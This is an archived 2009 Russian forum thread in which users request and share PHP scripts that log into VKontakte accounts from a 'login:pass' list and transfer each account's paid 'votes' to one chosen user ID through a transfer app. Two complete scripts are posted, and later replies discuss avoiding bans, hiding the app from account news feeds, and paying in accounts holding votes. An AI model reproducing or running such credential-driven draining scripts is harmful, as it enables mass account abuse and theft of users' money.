PDA

Просмотр полной версии : Кто может написать скрипт для передачи голосов через приложение ВК


_Spamer_
26.05.2009, 16:36
Помогите, думаю многим пригодится такой скрипт.
Нужно что б он передавал голоса через приложение http://vkontakte.ru/app577176 на определенный id, и работал со списком логин:пасс. Заранее СПС.

dimanp
26.05.2009, 16:44
+1 очень нужная штука..

gunzi
26.05.2009, 16:55
согласен :) оч крутой скрипт будет :) нужный :)

waweb
26.05.2009, 20:41
вот скрипт но он крива работает
<?php
set_time_limit(0);
$to = "1"; // kuda perevesti

function curl($url,$post)
{
//echo "$url | $post <br>\n";
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;

};

function transfer_vote($email,$pass,$to){
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
$result = curl("http://vkontakte.ru/app577176","");
preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);
preg_match("/balance = (.*?);/i", $result, $vote);
preg_match("/join(.*?)'>/i", $result, $appsl);
preg_match("/app_id = (.*?);/i", $result, $app_id);
preg_match("/app_hash = '(.*?)';/i", $result, $app_hash);
preg_match("/app_hash: '(.*?)',/i", $result, $app_hashh);
$result = curl("http://vkontakte.ru/apps.php?act=join&".$appsl['1'],"");
$result = curl("http://vkontakte.ru/apps.php?act=a_settings".$appsl['1'],"app_id=".$app_id['1']."&app_hash=".$app_hashh['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0");
$result = curl("http://misc.roboxchange.com/External/VKontakte/TransferVotes/Transfer.aspx?idFrom=".$user_id['1']."&idTo=".$to,"");
preg_match("/__VIEWSTATE\" value=\"(.*?)\" \/>/i", $result, $__VIEWSTATE);
preg_match("/__EVENTVALIDATION\" value=\"(.*?)\" \/>/i", $result, $__EVENTVALIDATION);
$result = curl("http://misc.roboxchange.com/External/VKontakte/TransferVotes/Transfer.aspx?idFrom=".$user_id['1']."&idTo=".$to,"__VIEWSTATE=".urlencode($__VIEWSTATE['1'])."&__EVENTVALIDATION=%2FwEWAgKkgLGFCQKSotaICw5O3NZ4fg %2BPn6JIHO469gKHlZqS&btn1=%D0%9F%D1%80%D0%BE%D0%B4%D0%BE%D0%BB%D0%B6%D0 %B8%D1%82%D1%8C");
preg_match("/<br><br>(.*?)<br><br>/i", $result, $res);
return $res['1'];
}


$aks = file("votes.txt");
foreach($aks as $k => $v){
$ak = explode(":", trim($v));
echo transfer_vote($ak['0'],$ak['1'],$to)."<br>";
}
?>

gunzi
26.05.2009, 21:28
waweb а что в нем кривого ?

waweb
26.05.2009, 22:50
то что уже не работает =\

_Spamer_
26.05.2009, 23:12
А на перле можно написать?

Whois
26.05.2009, 23:21
А на перле можно написать?
Можно =)

waweb
27.05.2009, 00:03
вот рабочий с вас плюсег ;)

<?php
set_time_limit(0);
$to = "1"; // vote to id

function curl($url,$post)
{
//echo "$url | $post <br>\n";
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;

};

function transfer_vote($email,$pass,$to){
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
$result = curl("http://vkontakte.ru/app577176","");
preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);
preg_match("/balance = (.*?);/i", $result, $vote);
preg_match("/join(.*?)'>/i", $result, $appsl);
preg_match("/app_id = (.*?);/i", $result, $app_id);
preg_match("/app_hash = '(.*?)';/i", $result, $app_hash);
preg_match("/app_hash: '(.*?)',/i", $result, $app_hashh);
preg_match("/auth_key\", \"(.*?)\"/i", $result, $auth_key);
$result = curl("http://vkontakte.ru/apps.php?act=join&id=577176&hash=".$app_hashh['1'],"");
echo "#add:".$vote['1']." vote...<br>";
flush();
@ob_flush();
$result = curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=577176&app_hash=".$app_hashh['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0");
$result = curl("http://misc.roboxchange.com/External/VKontakte/API.ashx?authKey=".$auth_key['1']."&APImethod=transferVotes&fromId=".$user_id['1']."&Id=".$to,"");
return $result;
}
echo "<hr color = 'orange'><center><font color = 'red+blue'><b>FAKE v2.0 Betta</b><hr width = '10%'><font color = 'white'><b>WaWeb</b></font> & <font color = 'orange+white'><b>Greshnick</b></font> <br> <font color = 'white'><b>525481</b></font> & <font color = 'orange+white'><b>444 567 473</b></font><br> </center>";
$aks = file("votes.txt"); // AC file, login:pass
foreach($aks as $k => $v){
$ak = explode(":", trim($v));
echo "#login.:".$ak['0']."pass.:".$ak['1']."<br>";
$vote_res = transfer_vote($ak['0'],$ak['1'],$to);
if($vote_res >= "0"){
echo "#ok...<br>";
}else{
echo "#error...<br>";
}
echo "------------------------------------------<br>";
flush();
@ob_flush();
}
?>

_Spamer_
27.05.2009, 16:28
Перепишите плиз на перл с меня +10)

*DeViL*
27.05.2009, 20:25
вот рабочий с вас плюсег ;)


c аккa после слива все голоса на снимают?...
я просто пробывал вручную сливать, слил примерно 300 на один акк, потом тупо сняли все голоса..

те кто уже опробывали этот скрипт отпишитесь.. и напишите какое количество голосов сливали..

Whois
28.05.2009, 12:00
c аккa после слива все голоса на снимают?...
я просто пробывал вручную сливать, слил примерно 300 на один акк, потом тупо сняли все голоса..

те кто уже опробывали этот скрипт отпишитесь.. и напишите какое количество голосов сливали..
Что ж вы так тупите (сори если так резко)

Скрипт лишь автоматизирует работу передачи голсов. Эффект один и тотже, хоть ты руками будешь переводить или через скрипт. И поэтому от снятия голосов никто не застрахован.

PS. Скрипт работает четко...переводил до 3 к голосов. все норм

Whois
28.05.2009, 12:23
Перепишите плиз на перл с меня +10)
ТС перепиши мне под Покет ПС, и если можно дочке моей под СониЕриксон заточи, ато она капризная ппц....т е цвет не нравится, то кнопки малы....вообще *** просышь что им надо

REBUUS
28.05.2009, 12:27
Тут где то был такой, то ли скрипт или программа, но то что есть это факт , поищите :)

_Spamer_
31.05.2009, 17:09
Можете добавить в скрипт что б в конце удаляло это приложение со страницы

GodSenD
01.06.2009, 16:29
+1

и чтоб в настройках обновлений снимало галочку на "приложения".. чтоб в новостях не было видно добавление приложения...

le-mon
01.06.2009, 20:55
c аккa после слива все голоса на снимают?...
я просто пробывал вручную сливать, слил примерно 300 на один акк, потом тупо сняли все голоса..

те кто уже опробывали этот скрипт отпишитесь.. и напишите какое количество голосов сливали..
50 снимали

*DeViL*
01.06.2009, 22:34
50 снимали
все до 100 это вообще без проблем.. а больше уже начинают локать и снимать..

-=Sinner=-
17.06.2009, 17:59
Скрипт не работает как я думаю это связанно с измнением в приложении "Передать голоса" кто может его исправить что скрипт работал ? И желательно что бы удалял из акка приложение и уведомление ! Кто сможет поделюсь акками с голосами или $ (банк не большой)

eXmasteR
19.06.2009, 18:01
ребят, зачем удолять приложение со страницы если можно без установки приложения на страницу отпровлять голоса.. или я что-то неправельно понял?

Damned_one
19.06.2009, 20:00
рейтинг поднимать можно, передавать "голосами" (которые сам тратишь) - нельзя

lexs444
19.06.2009, 20:03
без приложения передать голоса?не думаю что это реально,но раз уж на то пошло, скажи откуда такие мысли?

eXmasteR
19.06.2009, 23:47
не ну может я что-то не так понемаю, сегодня я передавал голоса, приложение установил только на ту страничку на которую поступали голоса, а на те странички с которых передавал голоса приложение не устанавливал, тоесть просто переходил по ссылке приложения (http://vkontakte.ru/app577176) добовлял голоса и отпровлял на нужный мне ИД, при этом Добавить приложение на мою страницу я не кликал..

admink1
20.06.2009, 00:38
я тоже так делал, все канает)

djramil
20.06.2009, 01:07
хм...
я никогда не добавляю приложение при переводе ))
вы че, ребят :D

felix_
04.07.2009, 14:26
лучше через app616100 передавать, там истории нету

zagruzkaaa
07.07.2009, 19:28
народ а этот способ щас работает?

felix_
07.07.2009, 19:47
у меня не рабоатет